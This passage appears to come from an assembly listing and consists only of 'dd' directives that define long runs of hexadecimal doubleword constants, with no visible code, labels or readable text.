6A8DB800h, 0F59537C0h, 5F8E3EF8h, 0AC40DE01h dd 80BD7DE5h, 53376D30h, 63CA1Dh, 0A9C147A8h, 7F910B97h dd 1A3ED601h, 0D8B857BDh, 0A08179D9h, 55205E4Eh, 3612E0FEh dd 438C0900h, 70976AB4h, 0CF2800F0h, 0B04AFF4Fh, 5C006DBCh dd 9DB6DC1Ch, 0C1243E5Fh, 3D7920B0h, 55509C66h, 0F1D301BBh dd 5FE2572Bh, 0FB60ED0h, 17C24529h, 75E3C360h, 8360E61Bh dd 0A86C69F0h, 0E55F0379h, 60720A45h, 89028098h, 95BF9A3Bh dd 0BC264Ch, 8DA5769h, 1AD53Dh, 0A24F5D3Ah, 1DF3A80Bh dd 0B5927E00h, 8DAA4DC8h, 1A9C01EEh, 85CB0A4Eh, 239040D4h dd 79C0FF36h, 43DAE9FAh, 0F25A00B0h, 6CA7A6EAh, 2C396591h dd 0D87C87ABh, 14C0F5A0h, 0AFA4BCC5h, 6F3D7804h, 37DF5300h dd 463851B7h, 1EC100E9h, 4DD9588Bh, 966BD2Eh, 225430h dd 27638147h, 1CE0F429h, 36D89007h, 68CA3C84h, 0A560CAD0h dd 46636178h, 0C668804Ch, 0D3A0732Ch, 0C08C240Fh, 0A3B60F63h dd 0B99F9C01h, 6B0C40DDh, 1B3ED080h, 0DE97109Ah, 8418EF8Ah dd 41048377h, 18B02517h, 0D614FC00h, 0A8B38D40h, 0A089120Ch dd 0A187FF18h, 24506C30h, 88D3B97Bh, 3CA1C7AAh, 0D7245127h dd 4B0C40DAh, 0D2627B2Ch, 11822390h, 38605103h, 0F0C4181h dd 2A245E4Fh, 5B0C1841h, 18D12F10h, 6CB650FEh, 8449F107h dd 0C4D9FCCCh, 2186E319h, 18412B4Ah, 5308AFF7h, 51130CA9h dd 40AA6424h, 758A5F3Ch, 5D5CD271h, 7CEB18B1h, 45FE1818h dd 0E7FF6080h, 14D419C4h, 1F922800h, 8891D94Ah, 3BD4683h dd 0AE89825h, 0D0530004h, 895D7B4Dh, 0E51CA3E7h, 65C7C441h dd 0ADC0A176h, 0B457F4h, 0C61D169Eh, 0B0E0F5E9h, 0E8B66730h dd 5097086Bh, 109DB081h, 0F284A7h, 0E58F06E1h, 1D5C8F0h dd 0C488AE0h, 0E3091E95h, 43E7A11Dh, 3691BC47h, 2F660068h dd 0E5AAFEE2h, 0C746D400h, 0BB0AECC9h, 0FA4D014Ah, 1F0129D2h dd 3D89F8C6h, 1CA56DE4h, 0F7C45F42h, 3075C001h, 0CCDDE91Bh dd 0ACF6526Ah, 250DBB02h, 80A79605h, 0FB324494h, 2A50FCB0h dd 3F8C8B62h, 0EB3C9122h, 80C6279Ch, 0FB31BBA2h, 33148110h dd 81C85F3Eh, 0EB72E4ADh, 0A0807EF5h, 1938FF02h, 4E3A8682h dd 5729E008h, 14B00AFCh, 345FD62Eh, 5FC0DB27h, 130037A5h dd 0E3FAF7CFh, 5C3CF038h, 3B005DA1h, 62DCD68Fh, 0AD005E24h dd 69E2FCCBh, 2EBC3793h, 71D6DDAh, 0A0DD6189h, 2059DF8Dh dd 39B0490Ah, 4000BF17h, 0B33C0CDEh, 38B007Eh, 0FD569887h dd 95FAB0CFh, 0D6665E07h, 405E5961h, 470C8DE4h, 7218C782h dd 0B3A9004Fh, 84EF97D0h, 6B91EB80h, 0A714A82Ch, 1FD5B00Ch dd 93415840h, 60AC73B3h, 0DFE7D8h, 0BA5E020Eh, 0C417428Ch dd 920C5800h, 7F458612h, 0E20001Dh, 0A773B6AAh, 6EECDD62h dd 0BC889360h, 6E3A109h, 0AD529739h, 600A16Ah, 4B54298Bh dd 1DE2CE0h, 0B23A53A5h, 9F5F26FFh, 62009220h, 8A396A4Dh dd 0E20701C9h, 37324EA2h, 0F02D61D9h, 0AE5758B2h, 0F0007B84h dd 6F517D72h, 620CD1h, 9F5365F4h, 3B132AE0h, 18665B30h dd 3BED386Ah, 0A20069DEh, 0DF93179Ah, 0F100EB23h, 4E90EA78h dd 7D73522Ah, 2F560F2Bh, 0B801FAC6h, 0F25D783Bh, 5A632ED0h dd 0D8859250h, 390CE1Ah, 3A62A99Ah, 0F10088A5h, 4243C0BCh dd 81DEF9h, 0B8DC83AEh, 0A7FA7E07h, 15001490h, 3D45FFCEh dd 5AAAE3h, 0F09338EEh, 72A2A388h, 42807B50h, 0D4AE0101h dd 5B339C45h, 31020h, 0B4DFD50Ah, 18BF9725h, 71BABD00h dd 4D38933Ah, 0A06560C0h, 0CE1362ADh, 0A5A01B00h, 0B244482Ch dd 1E5803EBh, 99720823h, 3ED861DBh, 5C002282h, 0A8C3356h dd 0A62A5B4h, 75C904C2h, 0A442CC8h, 0C749937h, 0C7B1B408h dd 9AE60E02h, 98211174h, 23EFDE30h, 0ED8C7E68h, 0F54861h dd 392193CDh, 69B0155Ah, 44004892h, 0C851A86h, 0FA9FE149h dd 5E0A00B1h, 7B5AE85Bh, 0A551D437h, 6D4CA8E0h, 540093FCh dd 1999C8BBh, 605CD636h, 8F0F7035h, 61039E9Ah, 3C25EAA7h dd 42A6D862h, 23361713h, 1BF71C0Eh, 93D051A1h, 0D70A521Eh dd 0A07B1CF0h, 66F5AF82h, 0A8144301h, 226833h, 63041260h dd 8DB7E2D3h, 72AA542Eh, 0E4006228h, 0AEF487D5h, 95DB07Dh dd 9C63E41h, 0A0995020h, 55034C48h, 5D3C7E56h, 73F909B2h dd 6E0ADCD3h, 0EA585850h, 0DB1F7507h, 67C6B213h, 6A970191h dd 0BE7652D2h, 7D62FCAFh, 16980C07h, 0E28F9A3Fh, 4875B6B8h dd 70FC7AD0h, 59C00436h, 0C0E09A4Dh, 3E2F219Ch, 0A0F2BD31h dd 6EB73Ah, 584D9848h, 860966A8h, 20A2231Fh, 378DDE90h dd 5531DE96h, 9306C86Fh, 98EAC74Eh, 0C118357Dh, 0E8E84976h dd 716000DBh, 4C5BE2A2h, 0EA3009A4h, 0D213F88Ah, 0DD920627h dd 0A8D920CDh, 7CA6C10Ch, 56B209Ah, 0FAA4C77Ah, 418400DBh dd 11905BC9h, 0DEAC875Bh, 0EEC11877h, 7144314Bh, 2D127000h dd 61FBC35Dh, 6A9C245Fh dd 863D8434h, 75A20099h, 0E0D29DEh, 81EE67B8h, 4522D0F8h dd 0F6B97700h, 357ED326h, 6CC130C4h, 4A096440h, 75C8ED18h dd 34C2B111h, 489B584h, 31729808h, 0DF163B9h, 7334C8EFh dd 2E1761Fh, 3E3DE0ABh, 0A0A0BE7Eh, 4BAE0BFAh, 0CA476C00h dd 4C1DC440h, 9DE10014h, 5C45997Dh, 0E505080Ch, 5879E038h dd 0E2DD845h, 3BEF0400h, 4D5623B9h, 24007C5Fh, 0D51F4754h dd 0E809B14Eh, 81779921h, 0EC2D4368h, 819CB8E1h, 0A3744337h dd 48D82694h, 0EA241EB6h, 71AC7CE9h, 0BAD34D00h, 57C012h dd 0D9CA2ED6h, 0A39C6EC3h, 0C420BC49h, 0C8109B42h, 43A9E609h dd 0AF980400h, 0A0A86310h, 9C01FA31h, 2B7F82AEh, 30DC78D2h dd 0B8D0A36Dh, 1C9B3A43h, 810C5D5Ch, 0E087934h, 80E7E98Eh dd 5A13CA51h, 3D940A5h, 0D3CB2347h, 10769093h, 410E2B01h dd 3308BC34h, 3048C5D1h, 68844D43h, 0E48242Ah, 36EED7D0h dd 2CA97C8Eh, 309FB906h, 30BD6601h, 0A34E4F12h, 965A9842h dd 20486C0h, 3E9FD949h, 484008CEh, 4B9827C0h, 128FD49h dd 123411ACh, 3C60F7E3h, 729A04C2h, 807D67B9h, 53EB0D20h dd 3F9F7500h, 77D0CC92h, 0DFFB00F2h, 4474853Bh, 0A9002896h dd 8478E103h, 73B11B10h, 0A1544CF5h, 34C03445h, 0CF50103Bh dd 219DC99Ah, 0A4C3E6B8h, 376030h, 45A5C7DCh, 3F72A77Dh dd 3B36D900h, 0CD9FFE0Ah, 9B120927h, 9B0323F5h, 36E02441h dd 9B85846h, 0E67C7098h, 49D0F207h, 9593C90Fh, 0D8FF9A3h dd 626060h, 0C6A0F97Ch, 8734FF6Fh, 0A535FE00h, 3D1284B5h dd 0D4F60018h, 90B2DEE4h, 3613B8D0h, 6040790Dh, 0AE6D420Ch dd 9360B7F2h, 0E4002C37h, 0D4095CEBh, 5F8C7Ah, 65F7A19Dh dd 0D39F776Bh, 5AB90D00h, 228FB3C9h, 2A6100E8h, 3C93BCADh dd 0AF038791h, 0F813BE0Bh, 9004B078h, 478038EFh, 592007Eh dd 3F36DE30h, 0FC009339h, 2297487Dh, 9E8BF8h, 75117A25h dd 5E6D8A1h, 6826BD03h, 0A049C2B8h, 0F1096Bh, 3E610486h dd 0FC4ECF2Eh, 65750600h, 0D5E1B995h, 7C26980Fh, 59EE008Ch dd 4B5E8AACh, 802C66F7h, 9A009CCAh, 0BEBD0173h, 0D5095067h dd 59040046h, 32D0EF45h, 50EC0802h, 13613CA9h, 0B03FB8BBh dd 0E1420076h, 0FDEEB31h, 0AF00BCB3h, 21285B89h, 30A82A7h dd 6C885212h, 61981118h, 350359B7h, 78C8495Dh, 62B05876h dd 543FA74h, 257A2B72h, 0A88486A8h, 0C290F700h, 84B92CEh dd 0F127003Bh, 4D1346BDh, 0E0015960h, 0EA7930E3h, 6FD00966h dd 9B6B003Bh, 6C182AAEh, 0BC00ACAFh, 0E5EF6233h, 0FAF18503h dd 48C0055h, 12E1E305h, 530079CEh, 29D70F70h, 5ACE2FBh dd 46BA7A28h, 0E1440021h, 0B3928FC2h, 0CB000D43h, 1759674Eh dd 5C0997E8h, 0B27C54h, 0E802F2Ah, 0E015008Fh, 0DB2DC16Dh dd 17003B04h, 6AE6E49h, 638C51h, 5759A9FFh, 0B42BE1BEh dd 549AEA00h, 61FC0BFEh, 2C1F0005h, 0F6AD52E2h, 9F01107Bh dd 4445D1DDh, 0A040653Fh, 0A24F09Ah, 25A7078Dh, 0C2DB0E58h dd 0D7E393E0h, 0AC882BC1h, 59AA003Dh, 994B3971h, 340E23AFh dd 0C0D84465h, 942E1121h, 57C905B1h, 2F2B5F04h, 0F82384h dd 0A5B58525h, 23FC3C63h, 5BD77002h, 40054294h, 84720h dd 0D9B2B0C0h, 0FFC4533Ch, 2582648h, 0E5E7EB79h, 21544810h dd 0DF0B0069h, 0B1D22ED7h, 451FBD18h, 0AC80AF76h, 3D37BC81h dd 1DF40183h, 60AA9712h, 435E4CEh, 0D9A1F500h, 63341E0Eh dd 902766Fh, 53E31D45h, 4D246420h, 9D30A640h, 0D381E031h dd 0B8375059h, 0CF830027h, 0A9245E57h, 0E307F879h, 541C989Dh dd 91F54E20h, 5A5C44F2h, 16D4F00h, 0CC346B1h, 5BC538C7h dd 0B744A18Eh, 0DF622140h, 0D402D3FBh, 4005F699h, 4D544035h dd 68CA60B1h, 28233960h, 2712DB00h, 0F52D3F41h, 24B40343h dd 6B3EC85Bh, 221367B1h, 4CDC506Ch, 0C1D921h, 82CA6B6h dd 448653D5h, 0BA0195CAh, 3EDC633Ch, 50DD149Dh, 201C1BCh dd 7BFC4427h, 7AC74198h, 0C426B1h, 45024B54h, 0E7D4A32Bh dd 2848DD12h, 0C301366Ch, 91997628h, 1261275Eh, 0D242C007h dd 4FFCA031h, 0DDD68426h, 42931F18h, 62E1C4C1h, 48CB3440h dd 9A012042h, 0FB46344Ah, 2460233Fh, 80BF34A9h, 5EFDC2E5h dd 1DF33C90h, 0C38145C6h, 0B4B2EC97h, 0F9666130h, 578D29CAh dd 0E0C83016h, 0DEA0D0C7h, 1862A855h, 51657C95h, 4A4848EBh dd 7EA902EDh, 48BEDD80h, 2434B658h, 11C871E2h, 85C6802Ah dd 0FB1B95C0h, 6E685Ch, 21C884EEh, 0FC7FD68Ah, 0EBEADD07h dd 41DE0C92h, 49E0EFAFh, 508365E1h, 33392F56h, 4F28E3F8h dd 3E354Ch, 0FC4282B9h, 3A71AF13h, 4400B572h, 2331AB38h dd 85001F3Ch, 338646CFh, 3B7687D4h, 78482EA4h, 91134C00h dd 0C795D917h, 0BDA8206h, 0B0D9F43Bh, 18DC00D7h, 219FC6D7h dd 0E5004A94h, 4BD88DC3h, 50C59086h, 99CBCBBh, 23BD67C9h dd 0EB6FAC80h, 0AF730D0Eh, 1FD7B02h, 48030CD5h, 8002F1C4h dd 0E22404D8h, 0B4606469h, 210593D5h, 659124A5h, 3F4BF701h dd 0D437A14Ah, 0FD00E531h, 9E1B6EEh, 1275108Eh, 7B42981h dd 808803ACh, 0A008AB5Ch, 0D1E0B600h, 0DD04B8F7h, 1C25025Fh dd 8D5213CEh, 9DAFC460h, 0C426E300h, 0D0033C3Dh, 70B00224h dd 0F6522DDCh, 0C43F54C4h, 6F3700CBh, 0C78D0495h, 9067EE35h dd 60A67EE4h, 0C63BA806h, 964A6B84h, 0E641F3A0h, 873500DAh dd 49E31916h, 0B000F4EAh, 5108BED9h, 0B1FC8162h, 36CF0008h dd 6EA8AE9Eh, 20110522h, 0BF01CA4Dh, 36292BB0h, 0DDCC438Eh dd 2356003Ah, 8B4426A4h, 24263549h, 400262Bh, 1AE73D0Fh dd 9E9226B5h, 7ED40C4h, 0C890D5B0h, 67111E0Bh, 0B58800EFh dd 138299Fh, 0E1FAA010h, 0D8830971h, 5E0952D1h, 8097F1E5h dd 0FC2F1BBCh, 5CF43A9Ah, 1F80FE3Ch, 937B5E59h, 2379B686h dd 9E516900h, 0DB6E33CCh, 0ACB00729h, 8A4DD9A7h, 6AA88098h dd 0BA84710Ah, 6B074E00h, 0BE590F37h, 3C1D1C3Dh, 7BA64158h dd 0D4E73839h, 760047D4h, 4FAE2DE3h, 0F6B5DA42h, 16CE0695h dd 20F004BEh, 0D912C300h, 0C65D8E1Ch, 559D02DFh, 57D7A04Fh dd 23E2E980h, 1502EC09h, 0A35DEA89h, 3388808Ch, 45E737h dd 3438869h, 11832FFBh, 5E002BB0h, 0BF1FA9C1h, 2C32E370h dd 3D6C3715h, 3D00EE58h, 0F4017ED2h, 0E30EBCA8h, 0E0362705h dd 0ADBE03FEh, 0DD8D006Dh, 6EFF9F3Bh, 7B75BA35h, 5E32401Fh dd 0E9012CA9h, 0BA0CEF34h, 0AB4118E6h, 80D23181h, 6BC6B58Ah dd 736C006Fh, 0E9C3934Fh, 601FEB52h, 0ABC71845h, 2637A442h dd 0D2E3A930h, 284B0ECDh, 0DA67C458h, 0D3E1D3B1h, 40A42DA1h dd 4060F8B0h, 73991D00h, 67E053A9h, 0EF5419A6h, 0DCC620A7h dd 28A87668h, 0B87944F2h, 91E56621h, 64190049h, 0B5762C40h dd 0DC30004Bh, 0AB1575F5h, 8F06F017h, 49AE1A43h, 0C951A0D9h dd 402800D9h, 0D40F5B07h, 2B3013A9h, 0E4E719Eh, 0D640216h dd 0C19A0196h, 7F7637E0h, 0E1C6950Fh, 14641E59h, 83A86D94h dd 98B322D3h, 5A94351h, 39DCC20Ah, 70B83FAEh, 0A2B26800h dd 0BD172FAh, 0D8702EC2h, 8FA607A4h, 9980BFF7h, 0B045DC9Ch dd 0BF7E1E00h, 0FAD551C1h, 0FE4300C6h, 0CD69CF7Fh, 9A00CB86h dd 0FD1CCC20h, 0B11695h, 0DF2A01A1h, 86B33B6Ch, 0CCD1E200h dd 0AAB04952h, 0CE0800C1h, 66773C91h, 0B3EC307h, 3A7B8065h dd 13943D2Bh, 1C8139E6h dd 0D8495180h, 0F47EBEA4h, 0C1C95000h, 0FE6FED02h, 96CA00A6h dd 44979215h, 370066D1h, 51E1F680h, 2E349Ch, 7DCB4781h dd 0CC8FF74Dh, 0E7D33E00h, 0B7A129ECh, 0E31400B5h, 0AEC0FB33h dd 0E5007522h, 47041B01h, 0B3A41Fh, 5F8657C5h, 8C25F66Ch dd 0F37D5600h, 321875B9h, 7AC171D5h, 0CC25B857h, 2BA09F69h dd 0A8A9000h, 5DFE9C8Fh, 846F0116h, 582FEC59h, 0A8DA30B4h dd 20CF3Ch, 6864CBF2h, 0FEF1B9h, 168E823Fh, 66023995h dd 800A8D3Eh, 0BD1D842Ah, 0B10BD5h, 3C73CD8Eh, 0DFA83A4Ah dd 24202D00h, 0EFCA4570h, 57AC8h, 5222A7DAh, 87CCCDD5h dd 0E7D71300h, 0F30F51FCh, 0E2650086h, 1BEBF9F4h, 0BB00DE15h dd 842B20C4h, 0E03DFBFFh, 8FA8A0A2h, 0BF8070Eh, 30648098h dd 323B28CCh, 8C89AE28h, 5EFEBA07h, 0B55674EAh, 0C65902FCh dd 859955EFh, 1881D760h, 7253B00h, 638820A6h, 37031558h dd 65009492h, 0ED478CDFh, 51008AF7h, 0C817FFF4h, 399B7A34h dd 0DF00503Ch, 0A1537079h, 0D24E382Dh, 2F1C2F0h, 0F446AA48h dd 84808A14h, 0CCD46116h, 5380A8ADh, 51D4F47Ah, 60810378h dd 0FC6712C9h, 58B20C90h, 0DFFB3A09h, 0A1042CE3h, 0AFCC0396h dd 0C18605F5h, 33F955CBh, 20CC4607h, 393F3CEAh, 62E80FBh dd 0AE319D49h, 9CA40Dh, 30DAE627h, 0EA8429CFh, 6E090A01h dd 6522AF40h, 0CA581822h, 0B3879E0Ah, 602300A4h, 0D235FF8Dh dd 0FB27A828h, 0C4032D2Ah, 469C9D00h, 8AD0EFE5h, 0BAF80792h dd 0B1C76277h, 0F0F1805Fh, 0D200B347h, 6420BE43h, 3F63F4DAh dd 0D7874AC9h, 806518C1h, 0EEB5CD19h, 0EB0AEC00h, 0F872CE7Ch dd 3EDFF63Fh, 17DB4BEh, 8CB7EA4Ah, 0FD4C5AD1h, 9117C014h dd 84F25201h, 88635429h, 6440DAC5h, 560EC5h, 317E1137h dd 8498667Fh, 4676AE06h, 0E0E43Eh, 0D83036A7h, 1A129B33h dd 0B7FEF8ECh, 920E7B05h, 0A41E932Eh, 0CC4E4080h, 14893B8Fh dd 3851CF6Ch, 43A28731h, 62508EE0h, 206F60C4h, 8560B2h dd 8202775Dh, 9B640670h, 79195160h, 413FFC3h, 0C1F753F0h dd 63460048h, 18CE7Ah, 0F1AD702Eh, 23EB77B8h, 2AD8ED13h dd 2C2411h, 4AFE8E13h, 353DF73h, 95D1BC45h, 4024E2B7h dd 48079C72h, 0F4F05A47h, 0D5977Eh, 0AE41ECA6h, 0CA93CE36h dd 94B37B12h, 4680041Dh, 4D47E4F0h, 350F0001h, 783929CDh dd 0E301E641h, 0D2CCABF7h, 3824B75Ah, 6CCF1EEBh, 724808Ch dd 218EF6BAh, 3A08854Dh, 70719C74h, 0C8D89840h, 182DDA5Ah dd 4CF30E62h, 0F501F6A8h, 0B513B0D5h, 0ED300A9Ah, 9A200C8h dd 0AA27C326h, 0B101E296h, 0B00DCE22h, 0A8800BDDh, 0B2385065h dd 0A284DB9h, 3018CCFh, 78F44E90h, 0A9C032C7h, 9EC5004Fh dd 0CBFA7101h, 880E91ACh, 0F7265AFh, 0F9407D29h, 0B93B1E77h dd 82C20233h, 50B6FFFCh, 0FEB32040h, 0A0C72A00h, 0F1CB4315h dd 61B0D2h, 56A27862h, 0DF5F1B24h, 53E90103h, 0F82C1FEBh dd 99077Fh, 0BAEAC84Eh, 0DCAAA6E1h, 84021EF2h, 8E8B7DD5h dd 47D760FBh, 6F1039BEh, 2C51A60Fh, 0EFE6EEA0h, 9570ADA0h dd 7981F000h, 0E92B0F49h, 0ECF4032Ch, 0FF903C72h, 85F54007h dd 9D20B303h, 600421h, 0FE1F79CDh, 0CF26A356h, 6E6BB503h dd 916ABA03h, 0B820B45Fh, 99F0248Eh, 158F3B98h, 3940A48Dh dd 3560016Dh, 0F563C407h, 0BF8C3Eh, 0E2F2D7F9h, 46ED1D8Ah dd 2D9E0097h, 57CA66EAh, 4077D800h, 7DB681ECh, 3ED32461h dd 1EDE80D8h, 6606966Bh, 0FAB16501h, 10778416h, 800DC343h dd 0F5A3DDh, 48EDB9D6h, 11498A82h, 0D974B7E2h, 0D23F6D01h dd 0F19AA4A2h, 3EBA60CCh, 5881A835h, 70EAFA01h, 65B7EC40h dd 98775303h, 0E928E934h, 0B880BCD3h, 540CBA89h, 790B5B82h dd 0FCF6CDA0h, 6A670545h, 7C308015h, 80909A99h, 5A61EF12h dd 0F6232900h, 3E5CF893h, 3E3D3BD5h, 0ECBBA4h, 3A3079DEh dd 0C575AD9Ch, 0E8FA4900h, 8C9F6BA5h, 39C4980Eh, 5A808025h dd 7E452A1Ah, 77309C35h, 878D4086h, 98EC0373h, 9ECB053Ah dd 0EEBA800h, 2E02EAF7h, 0B0CC5180h, 0E24C24h, 8E490C35h dd 0D537CBA4h, 2E7E0A1Fh, 5BD48C9h, 0E80062Ch, 7E805E8Ch dd 9DD012B6h, 34E44C08h, 0D3A10E39h, 3DF830CEh, 2C6B161Ch dd 3B85E807h, 9E07F550h, 0E0FF0037h, 0C877554Dh, 741C5BC9h dd 0EB804FFBh, 7DC07125h, 2C6CC0EEh, 91E47622h, 8C1D5Ch dd 3B93E75Ah, 78CECB7h, 37804164h, 0EF7E3013h, 0F9054B46h dd 2FC19A19h, 33AB3080h, 18389823h, 0D8732B91h, 0C900BF12h dd 3A50F536h, 2EC6D666h, 8010F0EEh, 77AFFC65h, 2677A1C3h dd 184CA530h, 114245h, 6BCF4719h, 0FF1033B6h, 2CABA00h dd 14B173C8h, 76A4A08Ch, 0A81900E7h, 0B649F461h, 7B01F92Fh dd 0B815A16Ah, 88807EE0h, 0A3A46F3Eh, 0D105AAB4h, 0EAE45B7Fh dd 5E507880h, 0EDBA0065h, 0A49AFE55h, 471709DEh, 1812719Ch dd 0DA91C821h, 0B08020h, 0DDB5FECEh, 44C87967h, 0BAF24800h dd 995BE9Eh, 31CB128Bh, 14F461F0h, 84EE87Dh, 29ACFE50h dd 4DF22000h, 9C90641Ah, 58CC985Fh, 983A9312h, 43C4100h dd 74B655BBh, 0D6BBD1Ah, 18CC859h, 9CDA3B38h, 4EB34807h dd 4DF40D0h, 7674DE83h, 88283307h, 0A530B0BFh, 79E21D6Ah dd 2BC50326h, 7D5360D4h, 394F8B90h, 730260EBh, 67FF800h dd 0CADB9F62h, 3AEE608h, 16A52C7Ah, 782E97BFh, 0EF42D468h dd 61988FE4h, 0FCA2DBADh, 870DD88Eh, 796F741h, 2C42365h dd 0E4C04611h, 59A5E094h, 92307CD1h, 75D00378h, 4767B6A6h dd 0EF5E4380h, 0C06A5900h, 0C9A0562h, 0C1B00024h, 0FCF6A772h dd 840BE24Eh, 80CDA333h, 2B57CC0h, 0AE7631A0h, 0DC2DA6E0h dd 3300ADF4h, 9F5B1DBh, 1E1898h, 0FA02B424h, 380A48ACh dd 38320D4Ah, 140458Dh, 0FEA86B47h, 0E90CE00Dh, 0AC3F0773h dd 0E3DC0B37h, 0DD1CA0CCh, 7DFBE82h, 84128A2h, 38C8D03Fh dd 60C00C1Ch, 0CB6A9CBCh, 0CC065D6Eh, 0F678B600h, 0FA7B438Ah dd 0E3BF9803h, 0E8826E10h, 2B39587h, 462ED50Dh, 50E2279Ch dd 90A7982Bh, 0D0B4644Fh, 7DA77830h, 880EDF74h, 0C0EA867Ah dd 8C2A1B46h, 33312CDAh, 8DAF00E4h, 284DADC4h, 0DEF79502h dd 64F42E29h, 0C510984h, 0C446A40Fh, 345FB8C0h, 781246Bh dd 0EBD714C4h, 49BC12Ch, 0A6E87110h, 9486D838h, 0E12A54h dd 2EE1C92Ch, 0B63EB313h, 0DA8A3A0Bh, 3C10B897h, 231F0010h dd 0F047C459h, 6926A556h, 810960ACh, 0F494D5h, 0ED244177h dd 6FCCA78Ch, 0A6295D00h, 98F07158h, 85C100FCh, 2B8BA392h dd 4012D9F3h, 0AC305B19h, 14EC33B5h, 0B0B0478Ah, 71506C24h dd 0B03309h, 314B7BB0h, 9E32BAh, 1F7551C7h, 2CEE5594h dd 84E7CD0Eh, 803F49ADh, 4AE7E44h, 891F0015h, 316D6ECCh dd 0A2026436h, 90B81E53h, 84ACE086h, 0A8F9034Ah, 809A8A5Bh dd 7094B299h, 0E00E6FFh, 0B7BED1E7h, 44D8E62h, 0EF1255A6h dd 0F6708109h, 79D0A699h, 0EA8A5700h, 1A0708D7h, 0B6FAB8FCh dd 0AE8724C0h, 50D81963h, 4826A87Bh, 5AD0033Bh, 3C6A73C4h dd 0FD37A998h, 16709A3Fh, 6C0233DCh, 48A69C57h, 182E26E4h dd 0B0B8F23Eh, 5B04C032h, 7CFA28Dh, 0F43068C7h, 0C68E16h dd 1A1CB8A7h, 38348986h, 826AD500h, 90C1C0FBh, 0B94F3B18h dd 3000F7BAh, 0FF20F5B0h, 813274Eh, 541429A9h, 49804D70h dd 7E60432Ch, 4DB69F01h dd 0A4A1E63Eh, 20A6DECh, 0D221397Fh, 6C510B8Bh, 0B2621203h dd 9548B815h, 94AD01D9h, 8F1B02BEh, 1EE03F6Fh, 823F06F7h dd 71CE13DAh, 7F01B899h, 67119B6Ch, 180C9875h, 887001E2h dd 1FBFFC4Eh, 0C78540A8h, 60A62E8Ch, 451E20EEh, 0C64B867Bh dd 36A90068h, 48CBFD26h, 0A0014DFh, 29A76BC8h, 0CE07A2A9h dd 1C5A4389h, 0C06862C3h, 9636E3h, 0F7ED7888h, 8C77CA92h dd 0A8ECEF30h, 5998ADA8h, 0B752417h, 5C998A74h, 8DD2BC00h dd 0ED075DDFh, 0F9B8D3F8h, 0F660B047h, 27253Ah, 0FEC69321h dd 0E4F563F3h, 54F97900h, 0E73AD2BEh, 0A0B260FBh, 0DBCA4CDDh dd 874F4600h, 0B35A5BFFh, 47E400F4h, 7A6FF018h, 504C0351h dd 5E7B0194h, 0B4E613DBh, 0CD00F028h, 0F25CA4CBh, 142787E3h dd 1CD800D3h, 0B952766h, 92051291h, 38201089h, 4CE8610Ah dd 941B4F02h, 522602A0h, 7F090024h, 0A1C1DCA2h, 0E60373DAh dd 9CB1C78Dh, 0C4DF1DFh, 1C525430h, 0BCA5B0FEh, 8097229Dh dd 3935B6F3h, 567A54B1h, 7770DC01h, 4D142132h, 24007433h dd 0FA848D1Fh, 5B0B7765h, 0A080A50Dh, 0DFE215A8h, 0F8070059h dd 359A78BBh, 8201C3EBh, 99443F16h, 0B8EF2790h, 0A06181h dd 2113E15Ch, 40BB33E5h, 0ED4EA100h, 0F229FEB1h, 992C00EAh dd 0CFD6EC96h, 8CE23D4Dh, 8B874200h, 0D96D077Bh, 0C875025Ah dd 0B35EF9FDh, 8D006374h, 0F5E9DD98h, 5A3D0057h, 4314C2A4h dd 580035F0h, 5DCD2261h, 7DE9FCB4h, 1BA500C1h, 3580682Eh dd 0E6F42651h, 0B4022003h, 0E0D0C999h, 0BC6DCBh, 455C10AEh dd 6CEFB697h, 0A3807061h, 99F4592Bh, 7AC30019h, 7D358C05h dd 7B00A45Bh, 6FD1883h, 38EBD40h, 80D1D2E2h, 36A0A7DCh dd 0FF1D7224h, 0CB9FAB10h, 0E1F0A840h, 0F77009h, 5AE358BEh dd 0C89EC1DFh, 0B13F6800h, 2D8FEC51h, 0BB2138BCh, 577CF7h dd 0DC05E80Fh, 0DDBA612Ah, 0A700DAF2h, 6946672Ch, 4FCA3Ch dd 0F5B4E78Bh, 0A6E2366Fh, 0C540D100h, 5FF97D0Bh, 8CE500B5h dd 29EC0CFDh, 0D7FA73C8h, 1F6AC607h, 0B591A9BAh, 8D70A4B1h dd 2E79ACh, 50824A0Eh, 53F1B093h, 0F64FF000h, 7D33E983h dd 596E3AD6h, 0F5DDE380h, 6FF3A3Dh, 0E4E79A00h, 0FDA7E522h dd 669828D0h, 0BAFB03B6h, 4BB8149Eh, 0F47F26D9h, 0CB7A340Bh dd 325AB107h, 73D01AC7h, 20339Ch, 87404689h, 94142B2Eh dd 41562200h, 1312AA34h, 18D102AFh, 98EF5D73h, 5D47660h dd 2C00907Eh, 27076B0h, 47CCDAh, 222F8F1Ch, 9C6B823Ah dd 76525D00h, 1FC891CFh, 0A09E000Fh, 0CD536A04h, 0D90051BFh dd 94F10A67h, 0E08DC10h, 1A34557h, 0C08D2680h, 2E096D16h dd 801A63AEh, 0E51F623Fh, 6BB500AAh, 492D910Eh, 0D43B5165h dd 0A63F1F5Dh, 0EB929880h, 0F8D1F36Dh, 39550064h, 0A1C39ADFh dd 0DE000352h, 0CFA0FB62h, 21821Eh, 765D0E79h, 0D6EFF640h dd 50B14A01h, 0D9B24253h, 0CA693880h, 9FF03715h, 47009375h dd 300E3383h, 4EFD13h, 222B8ABh, 0F3A3C929h, 89001D73h dd 5DC1CD8Dh, 0E19E680h, 166C7B81h, 0ECCF1C00h, 3600543Eh dd 0F084607Dh, 0F3483Ah, 852E5F39h, 9DAF70CDh, 7BABB800h dd 0A36B58E6h, 0F5C007D8h, 5F0504A1h, 37EF3980h, 0DB039853h dd 0CA2CDDE8h, 6FC7E0FFh, 0C96407AEh, 80D3EC04h, 1DBBE7C4h dd 882CE6F4h, 0E80222A0h, 0E01ACE59h, 7B4F82Bh, 0B121F342h dd 7009FE6h, 0BE8E35AEh, 1AB2E00h, 24706020h, 0CC60085h dd 48FE282Bh, 6807CCF0h, 3DF418BDh, 793AC00Fh, 6A1735h dd 306E50FBh, 0C1E13399h, 9B3DF00h, 79908AD9h, 528A414h dd 0F4167E42h, 6C26D0ABh, 350F6A5Ah, 4083122Fh, 0AAB3D7F3h dd 0E873071Dh, 0B04B8F3Ch, 2AA148F9h, 4ACEB501h, 0BC3170A8h dd 0E3F4BF61h, 8A513E98h, 43D68787h, 16AAC728h, 893E4075h dd 5941002Eh, 0E098DFE3h, 310A47Eh, 2E3DB312h, 0C7A84F5Bh dd 0C9001D38h, 0C4041EFFh, 0AE68F3h, 833073C6h, 62A578C0h dd 54DA9E00h, 3A927A8h, 0EA7901B3h, 8074FAAEh, 0BAC7F046h 